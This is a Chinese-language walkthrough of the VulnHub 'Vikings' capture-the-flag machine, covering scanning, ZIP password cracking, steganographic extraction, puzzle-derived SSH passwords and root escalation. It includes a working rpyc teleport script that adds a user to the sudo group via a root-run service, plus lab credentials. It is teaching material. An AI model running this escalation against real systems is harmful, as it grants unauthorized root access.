VnlnHub Vikings
字数 1671 2025-08-11 23:26:41

VulnHub Vikings 靶场渗透测试教学文档

靶场概述

Vikings 是 VulnHub 上的一个渗透测试靶场,难度中等,涉及 Web 渗透、密码破解、隐写术、特权提升等多个安全测试环节。

靶场搭建

  1. 下载靶场文件

    • 下载地址:https://download.vulnhub.com/vikings/Vikings.ova
    • 文件格式:OVA 虚拟机压缩文件
  2. 导入虚拟机

    • 使用 VMware 直接导入 OVA 文件
    • 网络模式设置为 NAT 模式(也可使用桥接模式,但需与攻击机保持一致)
  3. 启动虚拟机

    • 启动后确认靶机正常运行

信息收集

  1. 确定靶机 IP

    • 扫描 NAT 网段(示例中攻击机 IP 为 128,靶机 IP 为 140)
  2. 端口扫描

    nmap -sV 192.168.1.140
    
    • 开放端口:
      • 22/tcp - SSH 服务
      • 80/tcp - HTTP 服务 (Apache 2.4.29)

Web 渗透

  1. 访问 Web 服务

    • 首页为静态页面,无明显线索
  2. 目录扫描

    • 发现 /war.txt 文件
    • 内容指向 /war-is-over 目录
  3. 分析 war-is-over 内容

    • 获取到一段 Base64 编码数据
    • 使用 CyberChef 解码:
      • 开头为 "PK" 标识,判断为 ZIP 文件
      • 使用 Detect File Type 确认文件类型为 ZIP
  4. 处理 ZIP 文件

    • 将 Base64 解码后的数据保存为 ZIP 文件
    • 尝试解压需要密码
  5. 密码破解

    • 使用 John the Ripper 爆破 ZIP 密码:
      zip2john file.zip > hash.txt
      john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
      
    • 成功获取密码:ragnarok123
  6. 解压文件

    • 解压后得到 king.jpeg 图片文件

隐写分析

  1. 检查图片隐写

    • 使用 steghide 工具检测:
      steghide info king.jpeg
      
      • 提示需要密码
  2. 使用 binwalk 分析

    binwalk king.jpeg
    
    • 发现内嵌 ZIP 文件
  3. 提取隐藏文件

    binwalk -e --run-as=root king.jpeg
    
    • 提取出 user ZIP 文件
  4. 解压 user 文件

    • 内容疑似 SSH 凭据:
      FamousBoatbuilder_floki
      [密码内容]
      @vikings
      

SSH 登录

  1. 尝试登录

    • 用户名尝试 floki(而非全名)
    • 使用提取的密码
    • 登录成功
  2. 系统信息收集

    • 发现 /etc/passwd 中有三个可登录用户
    • 发现 boat 文件和 readme.txt

权限提升

  1. 分析 boat 文件提示

    • 关键信息:
      • 可打印字符是盟友
      • num 等于第 29 个质数
      • 需要应用 Collatz 猜想(3n+1 猜想)
  2. 计算第 29 个质数

    • 编写 Python 代码计算:
      n = 0
      for i in range(1000):
          flag = 0
          if i < 2: continue
          j = int(i/2) + 1
          for k in range(2,j):
              if i % k == 0:
                  flag = 1
                  break
          if flag == 0:
              n += 1
              print("第",n,"个质数为",i)
      
    • 结果:第 29 个质数为 109
  3. 应用 Collatz 猜想

    • 编写 Python 代码:
      n = 109
      num = []
      num.append(n)
      while n != 1:
          if n % 2 == 0:
              n =int(n / 2)
          else:
              n= int(3 * n + 1)
          if(n < 256):
              num.append(n)
      print(num)
      for i in num:
          j = chr(i)
          print(j,end='')
      
  4. 提取可打印字符

    • 使用 CyberChef 的 Strings 模块过滤可打印字符
    • 移除换行符和空格
  5. SSH 登录 ragnar 用户

    • 使用提取的密码成功登录
    • 登录时自动执行了 sudo 命令

进一步提权

  1. 检查自动执行机制

    • 检查用户配置文件:
      • .bashrc
      • .profile
      • .bash_profile
      • /etc/profile
    • .profile 中发现自动执行了 Python 脚本
  2. 分析 Python 服务

    • 服务端以 root 权限运行
    • 使用 rpyc 库(默认端口 18812)
  3. 利用 rpyc 服务提权

    • 编写 Python 脚本将 ragnar 加入 sudo 组:
      import rpyc
      def shell():
          import os
          os.system("sudo usermod -a -G sudo ragnar")
      conn = rpyc.classic.connect("localhost")
      fn = conn.teleport(shell)
      fn()
      
  4. 获取 root 权限

    • 重新 SSH 登录 ragnar
    • 执行 sudo -l 确认 sudo 权限
    • 使用 sudo -s 获取 root shell
    • 读取最终 flag

总结

本靶场涵盖的渗透测试技术:

  1. Web 目录扫描与敏感文件发现
  2. Base64 编码分析与文件类型识别
  3. ZIP 密码破解
  4. 图片隐写分析
  5. 数学算法在渗透测试中的应用
  6. Linux 用户配置文件利用
  7. RPyC 服务滥用提权
  8. Sudo 权限提升

关键点:

  • 注意 Base64 解码后的文件头信息
  • 密码爆破时选择合适的字典
  • 数学提示需要准确理解并实现
  • 自动执行机制是提权的关键突破口
VulnHub Vikings 靶场渗透测试教学文档 靶场概述 Vikings 是 VulnHub 上的一个渗透测试靶场,难度中等,涉及 Web 渗透、密码破解、隐写术、特权提升等多个安全测试环节。 靶场搭建 下载靶场文件 : 下载地址:https://download.vulnhub.com/vikings/Vikings.ova 文件格式:OVA 虚拟机压缩文件 导入虚拟机 : 使用 VMware 直接导入 OVA 文件 网络模式设置为 NAT 模式(也可使用桥接模式,但需与攻击机保持一致) 启动虚拟机 : 启动后确认靶机正常运行 信息收集 确定靶机 IP : 扫描 NAT 网段(示例中攻击机 IP 为 128,靶机 IP 为 140) 端口扫描 : 开放端口: 22/tcp - SSH 服务 80/tcp - HTTP 服务 (Apache 2.4.29) Web 渗透 访问 Web 服务 : 首页为静态页面,无明显线索 目录扫描 : 发现 /war.txt 文件 内容指向 /war-is-over 目录 分析 war-is-over 内容 : 获取到一段 Base64 编码数据 使用 CyberChef 解码: 开头为 "PK" 标识,判断为 ZIP 文件 使用 Detect File Type 确认文件类型为 ZIP 处理 ZIP 文件 : 将 Base64 解码后的数据保存为 ZIP 文件 尝试解压需要密码 密码破解 : 使用 John the Ripper 爆破 ZIP 密码: 成功获取密码: ragnarok123 解压文件 : 解压后得到 king.jpeg 图片文件 隐写分析 检查图片隐写 : 使用 steghide 工具检测: 提示需要密码 使用 binwalk 分析 : 发现内嵌 ZIP 文件 提取隐藏文件 : 提取出 user ZIP 文件 解压 user 文件 : 内容疑似 SSH 凭据: SSH 登录 尝试登录 : 用户名尝试 floki (而非全名) 使用提取的密码 登录成功 系统信息收集 : 发现 /etc/passwd 中有三个可登录用户 发现 boat 文件和 readme.txt 权限提升 分析 boat 文件提示 : 关键信息: 可打印字符是盟友 num 等于第 29 个质数 需要应用 Collatz 猜想(3n+1 猜想) 计算第 29 个质数 : 编写 Python 代码计算: 结果:第 29 个质数为 109 应用 Collatz 猜想 : 编写 Python 代码: 提取可打印字符 : 使用 CyberChef 的 Strings 模块过滤可打印字符 移除换行符和空格 SSH 登录 ragnar 用户 : 使用提取的密码成功登录 登录时自动执行了 sudo 命令 进一步提权 检查自动执行机制 : 检查用户配置文件: .bashrc .profile .bash_profile /etc/profile 在 .profile 中发现自动执行了 Python 脚本 分析 Python 服务 : 服务端以 root 权限运行 使用 rpyc 库(默认端口 18812) 利用 rpyc 服务提权 : 编写 Python 脚本将 ragnar 加入 sudo 组: 获取 root 权限 : 重新 SSH 登录 ragnar 执行 sudo -l 确认 sudo 权限 使用 sudo -s 获取 root shell 读取最终 flag 总结 本靶场涵盖的渗透测试技术: Web 目录扫描与敏感文件发现 Base64 编码分析与文件类型识别 ZIP 密码破解 图片隐写分析 数学算法在渗透测试中的应用 Linux 用户配置文件利用 RPyC 服务滥用提权 Sudo 权限提升 关键点: 注意 Base64 解码后的文件头信息 密码爆破时选择合适的字典 数学提示需要准确理解并实现 自动执行机制是提权的关键突破口